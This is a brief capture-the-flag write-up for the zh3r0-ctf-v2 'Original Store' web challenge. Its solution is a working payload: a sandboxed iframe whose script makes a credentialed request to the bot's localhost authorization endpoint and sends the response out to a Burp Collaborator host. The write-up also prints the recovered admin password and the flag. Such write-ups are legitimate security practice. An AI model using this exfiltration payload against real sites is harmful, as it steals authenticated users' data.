zh3r0-ctf-v2

CTF Writeup - https://ctftime.org/event/1285

Home Other writeups of zh3r0-ctf-v2
13 June 2021

Original Store

by shreyas-sriram

Hi! Check out our car dealership platform - the Original Store at Store. We also have a contest running right now and who has the best car wins! You can send us your car’s images at bot.

Solution

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','http://localhost:80/api/v1/authorize.php',true);
    req.withCredentials = true;
    req.send();
    
    function reqListener() {
        location='https://leet.burpcollaborator.net/flag?c='+encodeURIComponent(this.responseText);
    };
    </script>"></iframe> 
// admin password
V3ryStr0ngP4ssw0rdF0rN0Cr4ck

Flag

zh3r0{4dm1n_l0ves_0nly_0r1g1n4ls_br0}
tags: Web